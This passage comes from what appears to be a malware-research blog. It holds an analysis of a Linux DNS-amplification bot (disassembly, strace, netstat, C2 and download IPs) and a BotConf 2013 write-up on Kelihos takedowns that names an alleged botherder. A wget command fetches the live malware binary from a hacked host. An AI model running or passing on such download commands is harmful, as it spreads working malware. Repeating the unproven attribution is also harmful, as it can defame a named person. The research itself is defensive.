   805dc03: e8 02 f7 ff ff        call   805d30a (_ZN9CAutoLockC1EP12CThreadMutexb)
   805dc4d: e8 18 f7 ff ff        call   805d36a (_ZN9CAutoLockD1Ev)
   805dc6c: e8 99 f6 ff ff        call   805d30a (_ZN9CAutoLockC1EP12CThreadMutexb)
   805dc84: e8 e1 f6 ff ff        call   805d36a (_ZN9CAutoLockD1Ev)
   805dca7: e8 5e f6 ff ff        call   805d30a (_ZN9CAutoLockC1EP12CThreadMutexb)
   805dcdc: e8 89 f6 ff ff        call   805d36a (_ZN9CAutoLockD1Ev)
   805dcfa: e8 0b f6 ff ff        call   805d30a (_ZN9CAutoLockC1EP12CThreadMutexb)
   805dd12: e8 53 f6 ff ff        call   805d36a (_ZN9CAutoLockD1Ev)
   805e05d: e8 a8 f2 ff ff        call   805d30a (_ZN9CAutoLockC1EP12CThreadMutexb)
   805e3da: e8 8b ef ff ff        call   805d36a (_ZN9CAutoLockD1Ev)
   805e3fd: e8 68 ef ff ff        call   805d36a (_ZN9CAutoLockD1Ev)
   8061161: e8 a4 c1 ff ff        call   805d30a (_ZN9CAutoLockC1EP12CThreadMutexb)
   80611b7: e8 ae c1 ff ff        call   805d36a (_ZN9CAutoLockD1Ev)
   80611d4: e8 91 c1 ff ff        call   805d36a (_ZN9CAutoLockD1Ev)

(!DECRYPTOR CALLS)

0806199c (_ZN8CUtility7DeCryptEPciPKci):
 80619a9: eb 37                 jmp    80619e2 (_ZN8CUtility7DeCryptEPciPKci+0x46)
 80619b3: 74 15                 je     80619ca (_ZN8CUtility7DeCryptEPciPKci+0x2e)
 80619c8: eb 13                 jmp    80619dd (_ZN8CUtility7DeCryptEPciPKci+0x41)
 80619e8: 7d 14                 jge    80619fe (_ZN8CUtility7DeCryptEPciPKci+0x62)
 80619f0: 7d 0c                 jge    80619fe (_ZN8CUtility7DeCryptEPciPKci+0x62)
 80619fc: 75 ad                 jne    80619ab (_ZN8CUtility7DeCryptEPciPKci+0xf)

 (Func_Details:)

0806199c (_ZN8CUtility7DeCryptEPciPKci):
 806199c:       55                      push   %ebp
 806199d:       89 e5                   mov    %esp,%ebp
 806199f:       83 ec 10                sub    $0x10,%esp
 80619a2:       c7 45 fc 00 00 00 00    movl   $0x0,-0x4(%ebp)
 80619a9:       eb 37                   jmp    80619e2 (_ZN8CUtility7DeCryptEPciPKci+0x46)
 80619ab:       8b 45 fc                mov    -0x4(%ebp),%eax
 80619ae:       83 e0 01                and    $0x1,%eax
 80619b1:       84 c0                   test   %al,%al
 80619b3:       74 15                   je     80619ca (_ZN8CUtility7DeCryptEPciPKci+0x2e)
 80619b5:       8b 45 fc                mov    -0x4(%ebp),%eax
 80619b8:       89 c2                   mov    %eax,%edx
 80619ba:       03 55 08                add    0x8(%ebp),%edx
 80619bd:       8b 45 fc                mov    -0x4(%ebp),%eax
 80619c0:       03 45 10                add    0x10(%ebp),%eax
 80619c3:       8a 00                   mov    (%eax),%al
 80619c5:       40                      inc    %eax
 80619c6:       88 02                   mov    %al,(%edx)
 80619c8:       eb 13                   jmp    80619dd (_ZN8CUtility7DeCryptEPciPKci+0x41)
 80619ca:       8b 45 fc                mov    -0x4(%ebp),%eax
 80619cd:       89 c2                   mov    %eax,%edx
 80619cf:       03 55 08                add    0x8(%ebp),%edx
 80619d2:       8b 45 fc                mov    -0x4(%ebp),%eax
 80619d5:       03 45 10                add    0x10(%ebp),%eax
 80619d8:       8a 00                   mov    (%eax),%al
 80619da:       48                      dec    %eax
 80619db:       88 02                   mov    %al,(%edx)
 80619dd:       8d 45 fc                lea    -0x4(%ebp),%eax
 80619e0:       ff 00                   incl   (%eax)
 80619e2:       8b 45 fc                mov    -0x4(%ebp),%eax
 80619e5:       3b 45 14                cmp    0x14(%ebp),%eax
 80619e8:       7d 14                   jge    80619fe (_ZN8CUtility7DeCryptEPciPKci+0x62)
 80619ea:       8b 45 fc                mov    -0x4(%ebp),%eax
 80619ed:       3b 45 0c                cmp    0xc(%ebp),%eax
 80619f0:       7d 0c                   jge    80619fe (_ZN8CUtility7DeCryptEPciPKci+0x62)
 80619f2:       8b 45 fc                mov    -0x4(%ebp),%eax
 80619f5:       03 45 10                add    0x10(%ebp),%eax
 80619f8:       8a 00                   mov    (%eax),%al
 80619fa:       84 c0                   test   %al,%al
 80619fc:       75 ad                   jne    80619ab (_ZN8CUtility7DeCryptEPciPKci+0xf)
 80619fe:       c9                      leave  
 80619ff:       c3                      ret    
These are the templates where they put the data in variables after being grabbed:
(i IP ADDRESSES:PORT)
 %s:%s
 %d:%d
 
(i CPU Information)

 cpu MHz         : %d.%d
 cpu %llu %llu %llu %llu

(i System Variables)

 %s %llu %llu %llu %llu
 %7s %llu %lu %lu %lu %lu %lu %lu %lu %llu %lu %lu %lu %lu %lu %lu %lu
 (%d)
 [ %02d.%02d %02d:%02d:%02d.%03ld ] [%lu] [%s] %s
 %02x
 %lld
 %d.%d.%d.%d
 /proc/%d/exe
 %m/%d/%y
 %H:%M
 %H:%M:%S

(i Memory matters, Syslog, files, etc)

 Arena %d:
 system bytes     = %10u
 in use bytes     = %10u
 max mmap regions = %10u
 max mmap bytes   = %10lu

 log: unknown facility/priority: %x
 MemTotal: %ld kB
 MemFree: %ld kB
 %d.%d.%d.%d
 opening file=%s [%lu]; direct_opencount=%u
 calling fini: %s [%lu]
 closing file=%s; direct_opencount=%u
 file=%s [%lu];  destroying link map
 %a %b %e %H:%M:%S %Y

*) NOTED: with dumping a very long disasm codes.. 
   all show the match previous analysis by 
   us and by others.
Moving along, I used my previous test bed, I am a BSD guy, so if I have to use linux is going to be slackware (read: Linux) with adding to its environment with some lib & patches to make some evil binary run as in heaven, so I ran it to PoC some functions, and the below is officially some notes that I took, this shows great deal of source of CNC:
 (!BEHAV)
 // Without permission....fail1 ** SELINUX **

 [001a57a2] execve("./disknyp", ["./disknyp"], [/* 21 vars */]) = -1 EACCES (Permission denied)
 [001a57a2] dup(2)                       = 3
 [001a57a2] fcntl64(3, F_GETFL)          = 0x8002 (flags O_RDWR|O_LARGEFILE)
 [001a57a2] fstat64(3, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
 [001a57a2] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fb8000
 [001a57a2] _llseek(3, 0, 0xbff64900, SEEK_CUR) = -1 ESPIPE (Illegal seek)
 [001a57a2] write(3, "strace: exec: Permission denied\n", 32strace: exec: Permission denied) = 32
 [001a57a2] close(3)                     = 0
 [001a57a2] munmap(0xb7fb8000, 4096)     = 0
 [001a57a2] exit_group(1)                = ?

 // Without permission....fail2 ** $ENV matters, no biggies.. **

 [001a57a2] execve("./disknyp", ["./disknyp"], [/* 20 vars */]) = -1 EACCES (Permission denied)
 [001a57a2] dup(2)                       = 3
 [001a57a2] fcntl64(3, F_GETFL)          = 0x8002 (flags O_RDWR|O_LARGEFILE)
 [001a57a2] fstat64(3, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
 [001a57a2] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f64000
 [001a57a2] _llseek(3, 0, 0xbff40920, SEEK_CUR) = -1 ESPIPE (Illegal seek)
 [001a57a2] write(3, "strace: exec: Permission denied\n", 32strace: exec: Permission denied) = 32
 [001a57a2] close(3)                     = 0
 [001a57a2] munmap(0xb7f64000, 4096)     = 0
 [001a57a2] exit_group(1)                = ?

 // With permission... :-))
 
 [001a57a2] execve("./disknyp", ["./disknyp"], [/* 21 vars */]) = 0
 [080f30cd] uname({sys="Linux", node="diemoronz.mmd.org", ...}) = 0
 [08114ece] brk(0)                       = 0x906e000
 [08114ece] brk(0x906ec90)               = 0x906ec90
 [080caaef] set_thread_area({entry_number:-1 -) 6, base_addr:0x906e830, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
 [0806500d] set_tid_address(0x906e878)   = 7390
 [080652c9] rt_sigaction(SIGRTMIN, {0x8064f18, [], SA_RESTORER|SA_SIGINFO, 0x8065240}, NULL, 8) = 0
 [080652c9] rt_sigaction(SIGRT_1, {0x8064f80, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x8065240}, NULL, 8) = 0
 [080650c5] rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
 [080f4045] getrlimit(RLIMIT_STACK, {rlim_cur=10240*1024, rlim_max=RLIM_INFINITY}) = 0
 [080f5b37] _sysctl({{CTL_KERN, KERN_VERSION}, 2, 0xbfecb0d0, 30, (nil), 0}) = 0
 [08114ece] brk(0x908fc90)               = 0x908fc90
 [08114ece] brk(0x9090000)               = 0x9090000
 [0806377e] open("/usr/lib/locale/locale-archive", O_RDONLY|O_LARGEFILE) = 3
 [080f3b7d] fstat64(3, {st_mode=S_IFREG|0644, st_size=48524976, ...}) = 0
 [080f4d8a] mmap2(NULL, 2097152, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7dd7000
 [080f4d8a] mmap2(NULL, 888832, PROT_READ, MAP_PRIVATE, 3, 0x162) = 0xb7cfe000
 [080f4d8a] mmap2(NULL, 208896, PROT_READ, MAP_PRIVATE, 3, 0x2b2) = 0xb7ccb000
 [080f4d8a] mmap2(NULL, 4096, PROT_READ, MAP_PRIVATE, 3, 0x21fd) = 0xb7cca000
 [080cc3e9] close(3)                     = 0
 [08114ece] brk(0x90b4000)               = 0x90b4000
 [08064ebc] futex(0x816980c, FUTEX_WAKE, 2147483647) = 0
 [08114ece] brk(0x90d5000)               = 0x90d5000
 [08114b6c] clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x906e878) = 7391
 [080f30e7] exit_group(0)                = ?

 (!PS blah..)

  7297 ?        S      0:00 /bin/sh
  7391 ?        Ssl    0:00 ./disknyp  <== See its PID (point of this ps buff)
  7434 pts/0    R+     0:00 ps ax
 
 (!NETSTAT)
 
 $ netstat -napt
 (Not all processes could be identified, non-owned process info
  will not be shown, you would have to be root to see it all.)
 Active Internet connections (servers and established)

 Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name 
----------------------------------------------------------------------------------------------------------  
 tcp        0      0 127.0.0.1:xxx                0.0.0.0:*                   LISTEN      -                   
 tcp        0      0 127.0.0.1:xxx                0.0.0.0:*                   LISTEN      -                   
 tcp        0     27 diemoronz.mmd.org:39445     190.115.20.27:59870         ESTABLISHED 7391/disknyp        

 (!LSOF)

 disknyp    7391    cwd       DIR        3,3     4096     343393 /home/%USER%/TRANSIT/TMP/markusELF
 disknyp    7391    rtd       DIR        3,3     4096          2 /
 disknyp    7391    txt       REG        3,3  1491887     343395 /home/%USER%/TRANSIT/TMP/markusELF/disknyp
 disknyp    7391    mem       REG        3,3   112260    1537133 /lib/ld-2.3.4.so
 disknyp    7391    mem       REG        3,3  1547732    1537211 /lib/tls/libc-2.3.4.so
 disknyp    7391    mem       REG        3,3    47468    1537158 /lib/libnss_files-2.3.4.so
 disknyp    7391    mem       REG        3,3 48524976    2068507 /usr/lib/locale/locale-archive
 disknyp    7391    0u      CHR        1,3                2034 /dev/null
 disknyp    7391    1u      CHR        1,3                2034 /dev/null
 disknyp    7391    2u      CHR        1,3                2034 /dev/null
 disknyp    7391    3u     IPv4     905808                 TCP diemoronz:39445->ddos-guard.net:59870 (ESTABLISHED)
 $ 

(!CONFIGS)
// This is where they put default port range and bind IP for the overall process:

$ cat fake.cfg 
 0
 127.0.0.1:127.0.0.1
 10000:60000
So, as per shown above. The CNC is "ddos-guard.net" at 190.115.20.27:59870.. sounds spooky isn't it? for the domain name of DNS Amp's CnC.. Things are starting to smell stink indeed..go figure.

DNS-Amp CNC Traffic

Below is the CnC (corrected after internal discussion w/ @sempersecurus) traffic recorded, noted the PUSH-ACK with the certain length in the sent packet. The globes of packet of 0x00 looks poking the mothership. For the LE, is an important note here: If there is a transmitter there should be a receiver to dig at the 190.115.20.27, and you can get the full set of crime evidence.

Conclusion and Mitigation

Again. The point of this post is: Download source is ALIVE Currently:

$ wget h00p://198.2.192.204:22/disknyp -O ./samplexxx
--2013-12-29 00:54:56--  h00p://198.2.192.204:22/disknyp
Connecting to 198.2.192.204:22... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1491887 (1.4M) [application/octet-stream]
Saving to: './samplexxx'
100%[================>)] 1,491,887    174KB/s   in 7.7s   
2013-12-29 00:55:04 (190 KB/s) - './samplexxx' saved [1491887/1491887]
And the CnC is running too:
PROT LOCAL                      REMOTE                  STATUS PID / BINARY NAME
---------------------------------------------------------------------------------
tcp diemoronz.mmd.org:39445     190.115.20.27:59870     ESTABLISHED 7391/disknyp
To be blocked/mitigated, PLEASE COLLECT THESE THREE SETS OF INFORMATION IN EVERY I.R FOR THIS CASE:
198.2.192.204:22 (Download SourceIP = Hacked Site)
190.115.20.27:59870 (CnC, Could be Proxied)
218.28.116.227 (Hack source IP)
At least this is the third time we see it downloading the ELF ones via x.x.x.x:TCP/22, and connecting to the CNC into this IP:PORT --> x.x.x.x:TCP/59870. So I really hope the regex blocking for downloading these binaries & CnC connection can be produced by IDS products sigs (i.e.: Emerging Threat, Squid ACL filter, Snort/VRT or Nessus) ASAP.

Suspect Information of DNS-Amp Coder

As per written above we raised OP for this threat, and now is p to the LE to move, below is the ID of the coder. Is positive, you ca find him in the below snipped moronz forum or in DK and he is bragging of this "amplification" tool. As per this intelligence information added to this post, our moronz is so busy deleting his trails and thread posted in many forums ;-)) so below is some of many snapshot we took.
Since this prick is starting deleting his thread activities..

ps: Don't make us paste the DK posts here..

We really hope LE will mark the guy and this crime into his sin-list, and believe me this attack is a positive hack effort, so is not that difficult to link all of the data gathered in this post to the moronz which ID we spotted above.

So, is the hacker coming back after that?

The answer is YES and below is his action in "implementing" more shits in our team's trap-box. Some moronz just won't learn to stop. Is a moronz sickness..

Stay safe during the new year, check your logs for similar ssh hack pattern.

#MalwareMustDie!

Wednesday, December 11, 2013

BotConf 2013 - #Kelihos: Payload+Domain Analysis, Actor's ID Disclosure, Stopping Payload (as Crime PoC)

3years Silence for Disclosure Changelog:

Note2: Considering: The attack of Kelihos botnet to my country and several countries is still un-stoppable and on-going, Yet I was told to censored Kelihos investgation on 2013 without getting good follow up from law enforcement in this planet, no matter how hard we tried and providing evidences in each badness they made. And this post, also was asked to be ion censor AGAIN, and right now we also did not see the stopping result either. Concluded: It is time for the people as victims of this evilness to know the truth. I opened all censorship from its seal[link].

THIS is the one of many badness evidence conducted by Kelihos botherder: Peter Severa with his real ID and address we reported and is known by law enforcement (PS: it is NOT the ID that Brian Krebs announced). Use it by your own will. If the action of this borherder will continue, we will keep on disclosing further and further. God gave us strength to put right thing to the right place - @unixfreaxjp - Sat Feb 6 12:58:38 JST 2016

Vive la BotConf!

On the 5th December 2013 I am honoured to represent MalwareMustDie, NPO group to do a short talk about Kelihos fast flux botnet. The talk was shared between myself as MalwareMustDie OP Kelihos team leader and paired with Mr. Dhia Mahjoub of OpenDNS Umbrella Lab, and we are "supposed" to finish the talk in 20 minutes, meaning I must wrap up my part on 10 minutes.. Therefore I really thank the BotConf for the adjustment in time, and saving me from chocking my self :-))

You can see the presentation PDF data in the BotConf.EU linked -->>[HERE], and the video is under process on editing, which will be announced soon.
Involving in the process of the event itself, I am assuring you all that BotConf is the purest and the coolest botnet/malware event on 2013 as per expected by the hard work of BotConf team (salute!), with pure research materials, no marketing buff, and is really "OK we all see that & those codes so WTF is the point?" kinda conference, :-) thank you again to Eric and his team who did the terrific work.

If you don't have a chance to see the presentation review page yet, now is the time then, the link is-->>[HERE]
And recently the VIDEO of the presentation (sorry for the "heavy" censorship) is published too-->>[HERE]

The Background

MalwareMustDie team recently launched a classified & important operation against Kelihos botnet. The operation was called OP Kelihos (obviously..) started from August 2013 as per initiated in our blog posted-->>[HERE]; Following by the series of Kelihos affiliates malware payload domain blocking and CnC servers takedown effort to PoC the link between CnC list and the Kelihos payloads; which also explaining a "HowTo" to effectively stopping Kelihos botnet serving its payloads (we executed those takedown starting from 1st December in Netherlands and 2nd-3rd December 2013 in Germany, NOTED: we were busy with this so please bear the mistakes by media news that saying we were launching operation against CryptoLocker); And in the end: The Disclosure of the recent facts of the botnet, which showing the botnet's structure weaknesses and the disclosure of the botherders ID (the owner of those CNC servers PoC'ed above) in the BotConf, Dec 5th 2013 in Nantes, France. The presentation is exclusivity made to support the success of BotConf 2013.

Pictures?? :-) (thank's to BotConf folks!)

Bless them who read the codes and read them with the ☩Lord guidance.

The presentation

We spitted the presentation between myself and our OP member Mr. Dhia Mahjoub under the below outline, and I did the Kelihos talk for the Part 2,3,4 as per shown in the slide. We wrapped the OP in systematic & as scientific as it can be, it has many PoC points made actually, but I have to wrap all stuff in 10 minutes (++) time as per provided by the team.


Practically domain analysis, trends, botnet work hours, payload statistic, numbers & statistic was presented very good by Dhia, and I was handling the kelihos botnet binary investigation,that leads to many disclosure in structure, scheme and disclosure of PoC's mentioned above. There were stuff that we all do not want to leak to internet to prevent the "currently stressful moronz" mitigating our method, which explaining the hard censore in presentation materials and the cut of video online stream. This explaining many "Picture??" words burped out during the talk.

The point of my part of presentation is: (1) A good coordination between simply good folks to see the bad stuff taken down can leap very far, which are systematically monitor and communicate, supporting by GREAT intel work we have, with the cool support and backup from other legit entities make this happen (Thank you to all!). The Link of CNC and payload was clearly demonstrated by takedowns, the botherder ID of the CnC owner was nailed good by contract basis. Now is time for the LE's move for "finalization" part. People in BotConf are witnesses for all of the evidence we collected are all in there, so let's see how far the legal follow will be executed about this case. (2) The MO of this operation can be applied to many other botnets, since they are all dependable on internet services to run, WE OWN internet and bad guys DON'T, so all we should do is stop them using internet LEGALLY.
OK, here we go to details:

Kelihos is a very well-known botnet with the long history of surviving some taking down efforts. Technically known as the fast flux botnet, among the various functions (DNS, SpamBot, peer-to-peer) Kelihos is spreading malware affiliates binaries via its infected peers, which it's been covered by the multiple encryption to hide the core of service that they are actually really depending into, the botnet as service for malware affiliation.

This post is explaining what we presented in BotConf, about how MalwareMustDie team fights against Kelihos Botnet and aiming botnet's payload delivery scheme as the most weak point to attack. The writing is based on BotConf 2013 slides part 2, 3, and 4, the part that I presented in BotConf, but now with the compilation for the public purpose. I will not share the "too sensitive" information (the "picture??" part) in this post, and all of the related data is the cyber crime evidence for the law enforcement to follow, within a month the full report of this crime will be sent to Europol ECC, Interpol DCU, and GroupIB, it will be official report back up by damage report stated from multiple CERT all over countries which victimized by this botnet.

Since the time is so limited during the botconf (well it's a short-talk technically, I should do it within 10 minutes anyway). There are so many functions in Kelihos botnet that I couldn't cover, like: its independent (splendid malware affiliate support customized) DNS scheme to support the botnet's fast flux functions, multiple encryption between each C2 comm between peers-job-servers-CnC-motherships, the spambot functions with templates and its encryption, the blacklist checking functions, and so on, but we will stick to the HTTP function that serves the payloads. My co-presenter, Dhia posted his part of presentation to explain the detail Kelihos fast flux monitoring in IP, domains and trend, in the separated post-->>[HERE]

The Encryption

None of the communication extracted from a Kelihos botnet infected peer and/or proxy that are not encrypted, as per snapshot below:

Since we are all read many previous good people's description and definition of Kelihos on the above description, I will skip the boring part and go to the point of investigation started. Mr. Kyle Yang of Fortinet was the first one who published the Kelihos encrypted CnC communication in Blackhat Europe in Amsterdam 2012, link-->>[HERE], and what he explained during the presentation about the encryption of communication between Kelihos job servers and CnC is the fact that actually shouldn't be ignored. And our project in fighting Kelihos was starting from this point. You'd better see Mr. Yang's work in his blog-->>[HERE] to understand the details before continue reading the rest of details.

The most important fact that you will get after decrypting Kelihos CnC communication is, the botnet commands/method and the service to spread the malware payloads that's being served under its peers via the registered domains and file names. Yes they need internet to fetch the payloads which bonnet upgrades scheme will be depending on this bins. The picture below is the sample of the encrypted communications in Kelihos:

Well, as you can see, the domain name and the payload name exists in the communication. The captured data in the pic above was captured in the session of post-infected where the data between peer of infection (proxies) to job servers and CnC was hooked.

The question raised from my side, how is the logic for a new pre-infection of then? The question is answered by the existence of the "loaders" (read: downloader) binaries that has been delivered during infection to download the payload from the domains stated s per pic above. If you may want to take a look at what I analysed on the Texas Explosion Malvertisement in April, 2013 -->>[HERE] this is the sample of the download scheme for the pre-infection with the downloader which will call the domains and payloads as per below:

Practically the usage of directory for serving payloads is a thing that can be set easily during upgrading the botnet, so currently the root, modXXX and loaders is the place where you can fetch what moronz serves in the botnet. The payloads.

The Key of BotNet as Service: the Payloads

As per I explained in the BotConf. The pattern for the domains and payloads are having same logic as per below slides (see the first slide as the logic and next slides as PoC), fortunately this is the thing that Kelihos moornz can not change immediately for the spaces used for encryption is so limited:

Furthermore we figured the payloads distribution of this botnet and implement the "generic" samples (for PoC used for suspension domains) in the URLQuery as per regex below:

And also we implement same logic too in Kelihos BotNet monitoring IRC channels per country:

And also use the same logic for the evidence of damage report of Kelihos infection in specific countries:

A bit About Kelihos Payload

In every peer infection Kelihos botnet, there is root and loader directories that sharing the payloads. The root directory contains of original and malware affiliates binaries (related to the pay-per-install scheme), and the loader one contains of the downloader binaries to the affiliates malware. Dhia was making good statistic on the previous sample and I made conclusion about it. See the two slides below to see the explanation of differences between the payloads served in the root directories. It explained why there are payloads with the high detection rates and why there are payloads with the very low detection rates.

Systematic Investigation to Reveal the Botherder ID

Since the BotNet will need payloads to serve and by the technical scheme of Kelihos the payloads needs the ALIVE domains to distribute them, the ID cracking of Kelihos Botherder is not difficult in theory but is a really delicate work in our intel department.

On July 19th, 2013 I announced the activity of MalwareMustDie in cleaning up all .RU domains used by the Kelihos as per posted-->>[HERE]. Up to that time we saw a lot of Kelihos distributed by RedKit exploit kit as their main infector, together with the PHP redirection tool of ESD.PHP (see the write up about it-->>HERE). RedKit is quietly disappeared now, and ESD envolved into the CookieBomb, and Kelihos infector also shifted to this new infection tool. OK..back to the rail, after the .RU domains sacked down Kelihos moronz was shifting to the common TLD (read: internet domains) all over the world, abusing many ICANN credited registrars by using lame domain reseller to registered the Payload domain of Kelihos. This is where the point when we started the current operation.

First of all, since we started the investigation from zero ground of the new trend in payload's TLD (on early August 2013), we need to have as much reference as possible, at that point, when Kelihos started to use INTERNET.BS as the registrar for their payloads our reference was also zero. Yes, with the help of abuse.ch (with so many thank's for the GREAT effort of Roman), we sinkholed the domains, and then with the wonderful cooperation from CERT organizations, LE and registrars we also have ability to suspend the domains. The recorded domains used has the below picture characteristic, which we PoC explanation on the Kelihos payload domains in the blog post-->>[HERE]

The distribution of the domains itself is varied in some registrars all over the world with the list on the presentation slide I presented in BotConf below (the total data so far is 913 domains from August until 3rd December 2013, but the pic below is the data until mid October 2013):

Once we know the encrypted used and cracked its payload access pattern, the monitoring for new kelihos payload domains can be done without entering its front-end and DNS has wonderful tools that can be used for the monitoring purpose, one of the method that I used is using Umbrella Labs tool to see every timing/reference sue to new domains started and end as per mentioned in the slide below:

The team was having good coordination, to seek and to destroy new domains. It was pretty hard to do on the beginning, under mock and grins from some researchers.. our group is keeping on detecting, checking and taking down the domains to force the trails of evidence for the data cross-check comparison until we have overall positive ID for the third party domain resellers (noted the "s", is plural and more than two) used by this crime action.

Cross-checking the email ID above to the (1) domain-snopping sites, (2) promotion of the Kelihos BotNetin some black forum, and the way the botherder do the AV scanning new payloads domains before release the new domains/payloads in the CnC communication and push it to the peers, we connected the dots and all lead to the one important communication centre owned by the botherders. Below is some limited snapshots during the disclosure in BotConf:

The "black forum that promoting Kelihos" SQL Dump for confirming the domain reseller email address to Kelihos:

Information leads to a "well-known AV and URL scanner checks for the bad domains" that being used by the Kelihos botherders to check the new Domain (URL) and its payloads itself:

Which the above data is lead to the main communication ID :-)

The PoC to link the ID to the Payload of Kelihos

With the legal entity collaboration with our partner (GroupIB) to build evidence data to be reported to law enforcement we conducted heavy surveillance to the bad actor communication ID to find :-) "every evidence" we need.

In BotConf we displayed the spam templates orders (w00t), the orders/invoice/payment for the Hosting of CNC (w00t), and other communication they use like twitter account (w00t), with also some extra ++ information. But for special information we pass only to LE like: Webmoney they used, hoster contracts and etc data. Below is a list of the CnC & Mothership servers of Kelihos served in Netherlands and Germany they used before BotConf 2013:

OP Netherlands & OP Morgenerwachen for PoC

We launched two operations on December 1st 2013 for proving to the eyes of law that the list of CNC we extracted from suspected botherder's communication is the Kelihos payload list. We basically work under good coordination between OP team, MMD members, and law enforcement channel in both countries (Nether lands and Germany) to takedown the listed CNC and safe the data for the evidence purpose accordingly. The PoC to be approved is: "If after takedown the CnC and the payload stopped, the botherder suspect is beyond any doubt to be responsible to all Kelihos payload activities"

Below is twitter time-line is the evidence of the activities during the Operations:

The PoC Positive Result, with Snapshot Images & Videos

The operation was successfully executed. And as the result of the operation, after the CnC was completely down, the Kelihos botnet is not having ANY payloads to serve, or to be precise, having errors in serving payloads, evidence is as per tweeted below:

The video below was taken during we shutdown half of CnC (in Netherlands), the peers IP address of the Kelihos proxy looks still giving response to provide infection of the payload, but the payload itself is not accessible with the HTTP error 502. (Please compare to the first Video which showing the normal payload download)

The below video was taken after full CNC was shutdown, that time the botnet can not even reach the peer anymore (see the READ ERROR & NO DATA RECEIVED message shown in every wget request in my script to download the payload):

Yes, for some time between 3-4 days (During the beginning of BotConf) the Kelihos was running without serving any payloads at all :-) The PoC between the CnC list extracted from the "suspected-yet-proven-guilty" botherder's communication, link to the payload system of the Kelihos is perfectly proven as per expected. The ID's owner, beyond any doubt, is the BotHerder's ID of Kelihos botnet in this case, really deserves to sleep in Jail soon.

In the BotConf short talk we went to slides to explain this PoC since my 10minutes time is not enough to explain all of the fact, below is the slides explaining this PoC point:

The CrimeBoss, Kelihos BotHerder ID

All of the above written data are coming from one single communication owned by a individual which his ID I exposed in the BotConf, 2013. This Russian nationality of 37 years old male is responsible to all activity in Kelihos.

So if you have the picture of it, please pass it to your country's law enforcement to be process further:-) . For your information I will not expose the information in here, the information was actually passed to the related country's law enforcement from September, 2013.

Additionally, he is also responsible the Pump-and-Dump spam which we recorded his communication in ordering the template from the translators as per shown in the below slides:

And also for your information, @kafeine wrote an excellent report about iframe "CookieBomb" injection tool in-->>[HERE], and in the contact section was written the email address with the domain that pointed to the IP address in the CnC server list describe above:

There are also many more information which is very sensitive and confirming more malicious activities and connection of this moronz behind Kelihos, is a subject to be passed to all LE channels:

Conclusion

1. What is the best way to stop the Kelihos botnet? We can not make it stop by the taking down the infection peers. This threat can be stopped only by the arrest of the bad actors, or make a way to stop the Kelihos botnet serving malware payloads for the disruption level. :-)
Taking down domains and peers won't help much unless you need to do the investigation reference data like we did to find the pattern to start dotting the lines.

2. With the good coordination between security researchers as one team-work, we can detect, monitor, investigate, build evidence, pull some PoC to proof the crime scheme, and pass the information to the LE in a good wrap. This level of information is what actually needed to make sure the arrest will be executed on the rails. We will and still always need your help, to push and to be sure that the ID that proven guilty and disclosed in BotConf to go to jail accordingly.

3. The video and presentation will be shared after the editing is finished.

Thank you

As MalwareMustDie, NPO, we thank The BotConf team, who was so kindly offer us place and great hospitality to do the "stage", I personally like very much the idea of Botnet Conference, and will do the very best to support the event for the future also, I guess we have to prepare to crack another botnet's moronz ID to be presented in the BotConf 2014. Count us in, we will be there. Thank you again Eric, Seb and the team! God bless your good effort!

I thank to all OP Kelihos friends involved to this operation that helped us out to make this operation into the success from day one. Without your trust and being with us since beginning this coordination will never happen, for some security purpose discussed with my lawyer it will be the best way not to reveal your ID in this post. At least, as researcher we did what we could do, and I'd say we do not bad about this case. Respect to you all. :-)) Glad to work together with a solid team work.

I would thank GroupIB who is trying hard to push the case to the law enforcement, I really wish you guys to see the PoC that we want to confirm here, the CnC list and the Kelihos payload is connected in the most understanding way, so there will be no doubt left to aim the suspect into jail to pay his sins. I thank Mr. Christiaan Beek from McAfee, who did the great great work in taking down CNC. To fellow crusaders (Markus Fritz, @wopot) in Germany, with the help of LKA Hessen to perform the help to support this PoC in taking down the CnC. Respect to you all also.

Thank you also to the US team of MMD who's helping monitoring the case and the shutdown, specially to Mr. Andre Dimino, Mr. Dave Marcus, @rjacksix, @Cephurs and @Malmouse ; for your advice, confirmation and patience in dealing with stubborn researchers in MMD.

I specially personally thank so much to one person : @kafeine who help me a lot and stay behind the scene of this operation. And also great thank to the great intel conducted by our intel team (I can not reveal their ID yet, but he is always with me in BotConf..if you know what I mean..) .. and all of the supporter of MalwareMustDie (including Paul with his new Templar robe), YOU ARE ALL THE BEST!!

Kudos BotConf 5-6 Dec, 2013, Nantes, France - Nice Memory!

Please support BotConf 2014!

The BotConf event was a success! The below list of posts of the fellow speakers (in random sorts, really) show the fact about it. Please support the QUALITY and PURITY of botnet research materials in BotConf by preparing your best papers on what you're doing against any botnets, i.e.: method and shares instead product marketing. BotConf is the event of researchers, by researchers and for "LE" and researchers!

http://blog.crimenumerique.fr/2013/12/14/botconf-premiere-conference-sur-la-lutte-contre-les-botnets-bilan/
http://blog.rootshell.be/2013/12/06/botconf-2013-wrap-up-day-1/
http://blog.rootshell.be/2013/12/07/botconf-2013-wrap-up-day-2/
http://bl0g.cedricpernet.net/post/2013/12/12/Botconf-2013-A-real-success
http://www.virusbtn.com/blog/2013/12_10.xml
http://tomchop.me/2013/11/botconf-the-botnet-fighting-conference/
http://blog.gdatasoftware.com/blog/article/fighting-botnets-acdc-and-botconf.html
http://www.n0secure.org/2013/12/botconf-2013.html
http://www.n0secure.org/2013/12/botconf-2013-jour-2.html
http://labs.umbrella.com/2013/12/18/operation-kelihos-presented-botconf-2013/
http://www.lexsi-leblog.fr/cert/botconf-la-sweet-orange-conference.html
http://blog.prakharprasad.com/2013/12/update-on-botconf13-slides.html
http://www.sensepost.com/blog/10030.html


#MalwareMustDie

